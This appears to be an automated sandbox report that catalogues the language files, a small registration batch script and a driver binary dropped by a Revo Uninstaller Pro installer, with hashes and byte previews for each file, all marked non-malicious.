Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.S.r.p.s.k.i./.S.e.r.b.i.a.n. .....W.e.b.L.a.n.g.=.S.R.B.L.T.....T.r.a.n.s.l.a.t.o.r.=.D.r.a.g.a.n. .B.j.e.d.o.v. .d.r.a.g.a.n.b.j.e.d.o.v.@.g.m.a.i.l...c.o.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E.....V.e.r.s.i.o.n.=.3...1...1.............[.D.e.i.n.s.t.a.l.e.r. .L.i.n.i.j.a. .s.a. .a.l.a.t.k.a.m.a.].....1.0.2. .=. .I.z.g.l.e.d.....1.0.3. .=. .P.o.s.t.a.v.k.e.....1.0.4. .=. .D.e.i.n.s.t.a.l.e.r.....1.0.5. .=. .A.l.a.t.i.....1.0.6. .=. .P.r.e.s.r.e.t.a.n.j.e.....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. .I.k.o.n.e.....1.0.9. .=. .D.e.t.a.l.j.i.....1.1.0. .=. .D.e.i.n.s.t.a.l.i.r.a.j.....1.1.1. .=. .U.k.l.o.n.i. .u.n.o.s.....1.1.2. .=. .O.s.v.e.~.i.....1.1.3. .=. .U.k.l.o.n.i.t.i. .o.z.n.a...e.n.i. .u.n.o.s.?.....1.1.4. .=. .D.e.i.n.s.t.a.l.i.r.a.t.i. .o.z.n.a...e.n.i. .p.r.o.g.r.a.m.?.....1.1.5. .=. .D.o.g.r.a.d.n.j.a.....1.1.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\simplifiedchinese.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	data
Category:	dropped
Size (bytes):	58204
Entropy (8bit):	5.700930679207834
Encrypted:	false
SSDEEP:	768:lo5zGJ0/0BCAJQbmrd16Qo6DzKCvytFvNOv+0syWNgZC3L51N5K0gI9+O/nuGNLM:KzmlQodpo6ktF1++0DWNgW6fuHE8M7
MD5:	6CB9F788594E515436E812AF86CE6971
SHA1:	3E2EFCD077D3E91C1B22C511EBB8F9DC8087C3DF
SHA-256:	C5AC1F6567EB3FDC2BB7809853F8F8D90D0DCEFCAC1E7EE881316AEFDE3D65EC
SHA-512:	70FD68DFB13EB4EFCA05E9963D64E779EFF6CF4B3DCFD9AFA54E4374D91B2F82C6A3AF023F28A53057EE0C944FEE847896723E0EBCE4854308EA0159008913CA
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=..{SO-N.e ./. .S.i.m.p.l.i.f.i.e.d.C.h.i.n.e.s.e.....W.e.b.L.a.n.g.=.S.C.H.....T.r.a.n.s.l.a.t.o.r.=.Y.i. .L.a.n. .(.m.e.@.y.i.l.a.n.j.u...c.o.m.).,.f.a.i.r.y.c.n.@.1.3.9...c.o.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...2...6.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...V....1.0.3. .=. ...y.....1.0.4. .=. .xS}.hV....1.0.5. .=. ..]wQ....1.0.6. .=. ..s.N!j._....1.0.7. .=. ..Rh.....1.0.8. .=. ..V.h....1.0.9. .=. ..~......1.1.0. .=. .xS}.....1.1.1. .=. . Rd.ag.v....1.1.2. .=. .7R.e....1.1.3. .=. ..`nx.[.. Rd.@b..ag.v.T?.....1.1.4. .=. ..`nx.[.. Rd.@b...z.^.T?.....1.1.5. .=. ..R.f.e....1.1.6. .=. ..^.R....1.1.7. .=. .S_MR.]wQ.^.R..........1.1.8. .=. .;Nu...........1.1.9. .=. .sQ.N..........1.2.0. .=. ..`.N/f.\|.~.{.tXT!.....1.2.1. .=. ..`nx.[.. Rd.@b...\|.~.~.N.T?.\.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\slovak.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (510), with CRLF line terminators
Category:	dropped
Size (bytes):	117334
Entropy (8bit):	3.716232017222656
Encrypted:	false
SSDEEP:	3072:zoD4FEnB1D2yGMrJQK141CsyubT5GZGzC/v9OQ8+:zOV2LO
MD5:	9E9BB9C33D54BE4D2A74E4540F99585D
SHA1:	6F3733A4C377EBCDCC10E5811611AD26E6A8857F
SHA-256:	830BBF9501D2BC51E52AC755FA26090298C5E6895BC9091AED97F506E0C9D4E8
SHA-512:	75352F8809FD54C17026FE3220923398C18EE20B219F0C0E6970DA80F7483B63039FD4FF32632AD65C3B43B4EB3A345FF30AF59D9AA3AFB3AD97671B78DA0C4E
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .S.l.o.v.e.n...i.n.a./.S.l.o.v.a.k.....W.e.b.L.a.n.g.=.S.K.....T.r.a.n.s.l.a.t.o.r.=.L.u.m.i.r. .-. .l.u.m.i.r.e.s.k.u.@.g.m.a.i.l...c.o.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...0...3.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .Z.o.b.r.a.z.e.n.i.e.....1.0.3. .=. .N.a.s.t.a.v.e.n.i.a.....1.0.4. .=. .O.d.i.n.a.t.a.l...t.o.r.....1.0.5. .=. .N...s.t.r.o.j.e.....1.0.6. .=. .R.e.~.i.m. .l.o.v.c.a.....1.0.7. .=. .Z.o.z.n.a.m.....1.0.8. .=. .I.k.o.n.y.....1.0.9. .=. .P.o.d.r.o.b.n.o.s.t.i.....1.1.0. .=. .O.d.i.n.a.t.a.l.o.v.a.e.....1.1.1. .=. .O.d.s.t.r...n.i.e.....1.1.2. .=. .O.b.n.o.v.i.e.....1.1.3. .=. .U.r...i.t.e. .c.h.c.e.t.e. .o.d.s.t.r...n.i.e. .v.y.b.r.a.t... .p.o.l.o.~.k.u.?.....1.1.4. .=. .U.r...i.t.e. .c.h.c.e.t.e. .o.d.i.n.a.t.a.l.o.v.a.e. .v.y.b.r.a.t...

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\slovenian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (679), with CRLF line terminators
Category:	dropped
Size (bytes):	133602
Entropy (8bit):	3.516276711475207
Encrypted:	false
SSDEEP:	3072:Vk8NAAdeen1o1CGzbaTe2awmWp1FWgyLR8c3O:mW
MD5:	C818A5793997CE34224359777E094BD5
SHA1:	3A64A87007A2793FEDEE099B283A3F0383BF2F74
SHA-256:	94123A86FA77F670133E4849FCFCD0564CBA01178075E778B67AB790C619E9AB
SHA-512:	BD7D40ABCA01A1CB1397F7332F77FE52579AAB8ED33585C7E7787C9991C768E2BF062D3367A9A36B3A2B5404CC6E63085933241FDBC4676751435194427DCF9C
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.S.l.o.v.e.n.a...i.n.a./.S.l.o.v.e.n.i.a.n.....W.e.b.L.a.n.g.=.S.I.....T.r.a.n.s.l.a.t.o.r.=.V.i.n.k.o. .K.a.s.t.e.l.i.c.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .P.o.g.l.e.d.....1.0.3. .=. .N.a.s.t.a.v.i.t.v.e.....1.0.4. .=. .O.d.s.t.r.a.n.j.e.v.a.l.n.i.k.....1.0.5. .=. .O.r.o.d.j.a.....1.0.6. .=. .L.o.v.e.c. .....1.0.7. .=. .S.e.z.n.a.m.....1.0.8. .=. .I.k.o.n.e.....1.0.9. .=. .P.o.d.r.o.b.n.o.s.t.i.....1.1.0. .=. .O.d.s.t.r.a.n.i.....1.1.1. .=. .O.d.s.t.r.a.n.i. .v.n.o.s.....1.1.2. .=. .O.s.v.e.~.i.....1.1.3. .=. .S.t.e. .p.r.e.p.r.i...a.n.i.,. .d.a. .~.e.l.i.t.e. .o.d.s.t.r.a.n.i.t.i. .i.z.b.r.a.n.i. .v.n.o.s.?.....1.1.4. .=. .S.t.e. .p.r.e.p.r.i...a.n.i.,. .d.a. .~.e.l.i.t.e. .o.d.s.t.r.a.n.i.t.i. .i.z.b.r.a.n.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\spanish.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (619), with CRLF line terminators
Category:	dropped
Size (bytes):	135850
Entropy (8bit):	3.4417582346095577
Encrypted:	false
SSDEEP:	768:lo6exv60KMuKMJ3XUvR7kcuKO+1vWbNPD5Etnx7qVwF/Z4DeTO9fMLp/GAwljIeK:axS0RuKMqR7kcuy1vWbUd/GV+Lbfn
MD5:	AC710839BFC0EB302C8CB6A5194E1B6F
SHA1:	7721A6CC3C22585ACF111F53C426FC0AF6602000
SHA-256:	E88253ECC79EC3E528BD2ACCF23181830C06CA09F1912CAB6CE0E3C6A903AFBA
SHA-512:	9E91C669A51F9EE1594F245774DD674FBE78CA8115F9EE8B07038C5D0DF505DBB016746332D25DA8943A026967ADEE0233448C352E89C58207BB959C9C9C0A2D
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.E.s.p.a...o.l./.S.p.a.n.i.s.h.....W.e.b.L.a.n.g.=.E.S.P.....T.r.a.n.s.l.a.t.o.r.=.J.o.s.e. .L.u.i.s. .V.i.l.l.a.l.b.a. .S.a.n.c.h.e.z.,. .F.e.r.n.a.n.d.o. .G.r.e.g.o.i.r.e.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.e.r.....1.0.3. .=. .O.p.c.i.o.n.e.s.....1.0.4. .=. .D.e.s.i.n.s.t.a.l.a.d.o.r.....1.0.5. .=. .H.e.r.r.a.m.i.e.n.t.a.s.....1.0.6. .=. .M.o.d.o. .S.i.l.e.n.c.i.o.s.o.....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. .I.c.o.n.o.s.....1.0.9. .=. .D.e.t.a.l.l.e.s.....1.1.0. .=. .D.e.s.i.n.s.t.a.l.a.r.....1.1.1. .=. .Q.u.i.t.a.r. .E.n.t.r.a.d.a.....1.1.2. .=. .R.e.f.r.e.s.c.a.r.....1.1.3. .=. ...E.s.t... .s.e.g.u.r.o. .d.e. .q.u.e. .d.e.s.e.a. .q.u.i.t.a.r. .l.a. .e.n.t.r.a.d.a. .s.e.l.e.c.c.i.o.n.a.d.a.?.....1.1.4. .

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\swedish.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (767), with CRLF line terminators
Category:	dropped
Size (bytes):	128354
Entropy (8bit):	3.480986127025453
Encrypted:	false
SSDEEP:	3072:7aptCikJrEmw4kK/D9YyhsiJNWFjNSj6VDJzwgCo:7aV
MD5:	BCDE611DC4AAD7E214456CAFAB8FD146
SHA1:	7E2865DDC57F0CC9EC4BC396808E79F90048D3C2
SHA-256:	014A98FE1ED05D74C4BB37BC23295D318A827CA9ED140EB0D4824AB13B932327
SHA-512:	EA2F7202A8F51E10E30F18465C5732E56AEEA81E3F90FBA53D865D8DB5D0551473A9A76E21A81931A506CACE484960A180A45E3197CDBAE59987F516E2B5EB81
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .S.v.e.n.s.k.a./.S.w.e.d.i.s.h.....W.e.b.L.a.n.g.=.S.W.E.....T.r.a.n.s.l.a.t.o.r.=.1.F.F.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.i.s.n.i.n.g.....1.0.3. .=. .A.l.t.e.r.n.a.t.i.v.....1.0.4. .=. .A.v.i.n.s.t.a.l.l.e.r.a.r.e.....1.0.5. .=. .V.e.r.k.t.y.g.....1.0.6. .=. .J.a.k.t.l...g.e.....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. .I.k.o.n.e.r.....1.0.9. .=. .D.e.t.a.l.j.e.r.....1.1.0. .=. .A.v.i.n.s.t.a.l.l.e.r.a.....1.1.1. .=. .T.a. .b.o.r.t. .p.o.s.t.....1.1.2. .=. .U.p.p.d.a.t.e.r.a.....1.1.3. .=. ...r. .d.e.t. .s...k.e.r.t. .a.t.t. .d.u. .v.i.l.l. .t.a. .b.o.r.t. .d.e.n. .v.a.l.d.a. .p.o.s.t.e.n.?.....1.1.4. .=. ...r. .d.e.t. .s...k.e.r.t. .a.t.t. .d.u. .v.i.l.l. .a.v.i.n.s.t.a.l.l.e.r.a. .d.e.t. .v.a.l.d.a. .p.r.o.g.r.a.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\thai.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (583), with CRLF line terminators
Category:	dropped
Size (bytes):	106396
Entropy (8bit):	4.270018902460138
Encrypted:	false
SSDEEP:	1536:xR071uEADs98s2u4xu/7NoNQdyYEzFVI/2o9xrfln+R47G/LbWdE0wbmw1hCtumE:8398sgaUBFGP61wE
MD5:	BA844724649201A288754E2F55838ED2
SHA1:	F332C9A6022F567CF6A6F69200E1CD18FB125663
SHA-256:	2D78A79A7EEE659D0BCB0F1DA0E4D9EE8209C6A6DA0A6965E93C409902495E4D
SHA-512:	5917CEC00A8C81AE33AA6371E78422D95005D4796BB10E079F198E2F0B254272518A87D1C07E2DC7D4BF308F8D74C354176A6F03DC6CD4DC71D7B6F932267B24
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .2.).2.D..."./.T.h.a.i.....W.e.b.L.a.n.g. .=. .T.H.A.I.....T.r.a.n.s.l.a.t.o.r. .=. .P.o.r.n.c.h.a.i. .P.e.t.t.h.a.v.e.e.p.o.r.n.d.e.j.....C.o.d.e.p.a.g.e. .=. .U.N.I.C.O.D.E.....V.e.r.s.i.o.n.=.4...4...2.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...9.....1.0.3. .=. ...1.'.@.%.7.-.......1.0.4. .=. .B...#.A...#.!...-.....2.#...4.....1.I.......1.0.5. .=. .@...#.7.H.-...!.7.-.....1.0.6. .=. .B.+.!.....1...@...-.#.L.....1.0.7. .=. .#.2."...2.#.....1.0.8. .=. .D.-...-.......1.0.9. .=. .#.2.".%.0.@.-.5.".......1.1.0. .=. ...-.....2.#...4.....1.I.......1.1.1. .=. .%...#.2."...2.#.....1.1.2. .=. .#.5.@...#.......1.1.3. .=. ...8...A...H.C...+.#.7.-.D.!.H.'.H.2...8.....I.-.....2.#.%...#.2."...2.#...5.H.@.%.7.-...?.....1.1.4. .=. ...8...A...H.C...+.#.7.-.D.!.H.'.H.2...I.-.....2.#...-.....2.#.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\traditionalchinese.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (304), with CRLF line terminators
Category:	dropped
Size (bytes):	59906
Entropy (8bit):	5.771309245234147
Encrypted:	false
SSDEEP:	1536:a1OmlKWIJw+wqYqn4wi7zv+vHj2gmoNus:o+wUY8W7zv+vHjlF
MD5:	FEE3AE3394835522278A93B0BC0D90DE
SHA1:	0E6E9CD7778E39B04CFC0360C8EEB3F96ADC7146
SHA-256:	8EC726AE49EA372C038E275B034C0CD4DD71F12E4DDC426701A89F889F9AE804
SHA-512:	F506246F3583B5D1E72F2FE5128D7CA17D8E2C5A75ABF522DCCA25622F84B672CE6C40EDFE945BDADF0C7B1B6C9BA1D9F8BB7985760E40AAB12BC23BC4BFAF3E
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .A~.-N.e ./. .T.r.a.d.i.t.i.o.n.a.l. .C.h.i.n.e.s.e.....W.e.b.L.a.n.g.=. .T.C.H.....T.r.a.n.s.l.a.t.o.r.=. .T.o.m.m.y. .C.h.e.n.,. .t.o.n.y.y.u.2.7.,. .K.e.v.i.n.Y.u.0.5.0.4.....C.o.d.e.p.a.g.e.=. .U.N.I.C.O.D.E.....V.e.r.s.i.o.n.=. .5...3...4.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ..j......1.0.3. .=. .x.......1.0.4. .=. ..yd..{.t.T....1.0.5. .=. .vQ.[.]wQ....1.0.6. .=. .us.N!j._....1.0.7. .=. ..n.U....1.0.8. .=. ..W:y....1.0.9. .=. .s.0}..e....1.1.0. .=. ..yd..[.....1.1.1. .=. ..yd....v....1.1.2. .=. ...ete.t....1.1.3. .=. ..`/f&T.x.....yd.x..S.v...v?.....1.1.4. .=. ..`/f&T.x.....yd..[.x..S.v.z._?.....1.1.5. .=. ...R.f.e....1.1.6. .=. ....f....1.1.7. .=. ..vMR.]wQ...f..........1.1.8. .=. ..}.z..........1.1.9. .=. ...e..........1.2.0. .=. ..`&N^..\|q}.{.t.T!.....1.2.1. .=. ..`

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\turkish.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (656), with CRLF line terminators
Category:	dropped
Size (bytes):	129774
Entropy (8bit):	3.6427799288392415
Encrypted:	false
SSDEEP:	3072:WZh0Mg04blwiRK6nWBgUwSnYE77SlqvRUy+2JykmAwT/WBGSBvO3PhC7CSfq3vb9:N+xDOMjRdno
MD5:	150B402E0D5419C483B36AF4EC6D870C
SHA1:	E1706E77AE988807AA60DE2BD028846B77543DB5
SHA-256:	36C3A2CC9AAD2C03C81FB049765E5352A3BFE7CC65F462ECB4A24F9961A1CA3E
SHA-512:	D4DF88863D41CE9A92725915BAAD6CD9B725F808CD00B300DFBA69A6A22A2C3984519AE9F05D376EF30053A8DD2D74A19567C295203E1F529D621C3702AF8BA9
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.T...r.k...e./.T.u.r.k.i.s.h.....W.e.b.L.a.n.g.=.T.R.....T.r.a.n.s.l.a.t.o.r.=.K.a.y.a. .Z.e.r.e.n. .t.r.a.n.s.l.a.t.o.r.@.z.e.r.o.n...n.e.t.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...0...3.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .G...r...n...m.....1.0.3. .=. .A.y.a.r.l.a.r.....1.0.4. .=. .K.a.l.d.1.r.1.c.1.....1.0.5. .=. .A.r.a...l.a.r.....1.0.6. .=. .A.v.c.1. .k.i.p.i.....1.0.7. .=. .L.i.s.t.e.....1.0.8. .=. .S.i.m.g.e.l.e.r.....1.0.9. .=. .A.y.r.1.n.t.1.l.a.r.....1.1.0. .=. .K.a.l.d.1.r.....1.1.1. .=. .K.a.y.1.d.1. .k.a.l.d.1.r.....1.1.2. .=. .Y.e.n.i.l.e.....1.1.3. .=. .S.e...i.l.m.i._. .k.a.y.d.1. .k.a.l.d.1.r.m.a.k. .i.s.t.e.d.i...i.n.i.z.e. .e.m.i.n. .m.i.s.i.n.i.z.?.....1.1.4. .=. .S.e...i.l.m.i._. .u.y.g.u.l.a.m.a.y.1. .k.a.l.d.1.r.m.a.k. .i.s.t.e.d.i...

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\ukrainian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (641), with CRLF line terminators
Category:	dropped
Size (bytes):	131462
Entropy (8bit):	4.006598591595778
Encrypted:	false
SSDEEP:	1536:bQUlrmrvEWUtL3EgNSp/7IAu821YhLxg2YS/:bQUlr0vG3TSp/7IAu82uhLd
MD5:	2B18F02BB760F19F344D567B0C671EA8
SHA1:	79BEC0F51098B51A90F63DA05CEBC8FBE560B556
SHA-256:	71C9B4A2712ACD913EEE9FDF4178E344CD6AF79915CA01AC9FFBD6A797B096EA
SHA-512:	55BEEDE938831AE93DBBE34C946AFE3C13EB0F670974DECA3275C2D431581C8D689703807E88CA28E483234CFD6C025B912EACCD8F645E3C9B409CC7CFA9950E
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .#.:.@.0.W.=.A.L.:.0./.U.k.r.a.i.n.i.a.n.....W.e.b.L.a.n.g.=.U.K.R.....T.r.a.n.s.l.a.t.o.r.=.A.l.e.x.e.y. .L.u.g.i.n. .-. .a.l.e.x.e.y.l.u.g.i.n.@.g.m.a.i.l...c.o.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...8.3.;.O.4.....1.0.3. .=. ...0.;.0.H.B.C.2.0.=.=.O. .....1.0.4. .=. ...5.V.=.A.B.0.;.O.B.>.@. .....1.0.5. .=. ...=.A.B.@.C.<.5.=.B.8. .....1.0.6. .=. . .5.6.8.<. .?.>.;.N.2.0.=.=.O. .....1.0.7. .=. .!.?.8.A.>.:. .....1.0.8. .=. ...V.:.B.>.3.@.0.<.8. .....1.0.9. .=. ...5.B.0.;.V. .....1.1.0. .=. ...5.V.=.A.B.0.;.O.F.V.O. .....1.1.1. .=. ...8.4.0.;.8.B.8. .5.;.5.<.5.=.B. .....1.1.2. .=. ...=.>.2.8.B.8. .....1.1.3. .=. ...8.4.0.;.8.B.8. .2.8.1.@.0.=.8.9. .5.;.5.<.5.=.B.?. .....1.1.4. .=. ...5.V.=.A.B.0.;.N.2.0.B.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\vietnamese.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (551), with CRLF line terminators
Category:	dropped
Size (bytes):	121866
Entropy (8bit):	4.039495906761851
Encrypted:	false
SSDEEP:	768:lo4utFqYH2EX12i3SK0ZGjiuh1AjBVXstShQY6vbCXWpvXZnZtjAkussDj/5k0l1:Wii3SxojNuXs2KB82gEWNqu
MD5:	3496F90CD98263718552E231F2605E67
SHA1:	5BA4DCC61A461C6F3575377B38AEEA3913BB3BD9
SHA-256:	17DA614E8B8ACE89547B561BDE7B15EFEEEDA09B12A6D79DD1679B7A66D8D207
SHA-512:	214C2146FA1C577A4414E1BA8E45C75115CCDF06F7377A830E82C32B4D0F4933F4A237433536DCB78E1E93145C85BAFDB3D217A7EB7420960532C081B58F29CD
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.T.i...n.g. .V.i...t./.V.i.e.t.n.a.m.e.s.e. .....W.e.b.L.a.n.g.=.V.N.....T.r.a.n.s.l.a.t.o.r.=. .....n.g. .T.r...n. .L... .A.n.h.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .H.i...n. .t.h.......1.0.3. .=. .T...y. .c.h...n.....1.0.4. .=. .G... .b.......1.0.5. .=. .C...n.g. .c.......1.0.6. .=. .C.h... ..... .t.r.u.y. .t...m.....1.0.7. .=. .D.a.n.h. .s...c.h.....1.0.8. .=. .B.i...u. .t.....n.g.....1.0.9. .=. .C.h.i. .t.i...t.....1.1.0. .=. .G... .b.......1.1.1. .=. .X.o...a. .t.r.o.n.g. .r.e.g.i.s.t.r.y.....1.1.2. .=. .L...m. .m...i.....1.1.3. .=. .B...n. .c... .m.u...n. .g... .r.e.g.i.s.t.r.y. .....i. .t.....n.g. ..... .c.h...n.?.....1.1.4. .=. .B...n. .c... .m.u...n. .g... .p.h...n. .m...m. ..... .c.h...n.?.....1.1.5. .

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\reg_lp.bat

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.6625095008025434
Encrypted:	false
SSDEEP:	3:nVN2kLnCvvEOVtqvepJQjkX3TAX:nvxrCvvEOPqvewwX8X
MD5:	85F8F277D3AB3F45C089C0B81116D85E
SHA1:	9D3106AE997DB2F449894446B296C5A14EC20E91
SHA-256:	6E6B62366A433BF575E72582FA7690C7B7901945B9C138F177FE657F00D77B3C
SHA-512:	C5A05526A1DF5A6E1B9F5E1DA9E602C78F87C4B189ECFB61BF8407BDD6B5316EE866435F1D70086A2601DFD40C90FA5B1DB12D1C1E51DE9BA2F7174306AC1276
Malicious:	false
Preview:	taskkill /IM RevoUninPro.exe /F..taskkill /IM ruplp.exe /F.."%~dp0\ruplp.exe" /regserver

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.del (copy)

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	6.303083119559888
Encrypted:	false
SSDEEP:	768:A1uOPkxgu01UuLjQL1nHSSdW7W0fz1Qp33u43gf:AQqk7HL1nO/Qtrgf
MD5:	EC8E58E6B58B4FCDE77431CDA3A24C0E
SHA1:	EBB474009B2A2FBCE648ADFF4B8B797FCD00C997
SHA-256:	25667717BF4691957F07A6363585E2C7EAF22E5FD7229BF32C91EA59EF4A2EDD
SHA-512:	E2C667EBE97973FF27C1EDF3E45EBF7950BC8D7AAD1126DA25290A2F590B21808654694CBE6A0AD1D3649566EC7645EB6B3379C7D7C0A650D5381A69E9CDADE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................p....k...........................................Rich....................PE..d...:.._.........."......T...2.................@....................................o^....`A...................................................P....................r...$......D...hR..8............................R...............P...............................text....:.......<.................. ..h.rdata..l....P.......@..............@..H.data........`.......L..............@....pdata...............N..............@..HPAGE....G............R.............. ..`INIT.................\.............. 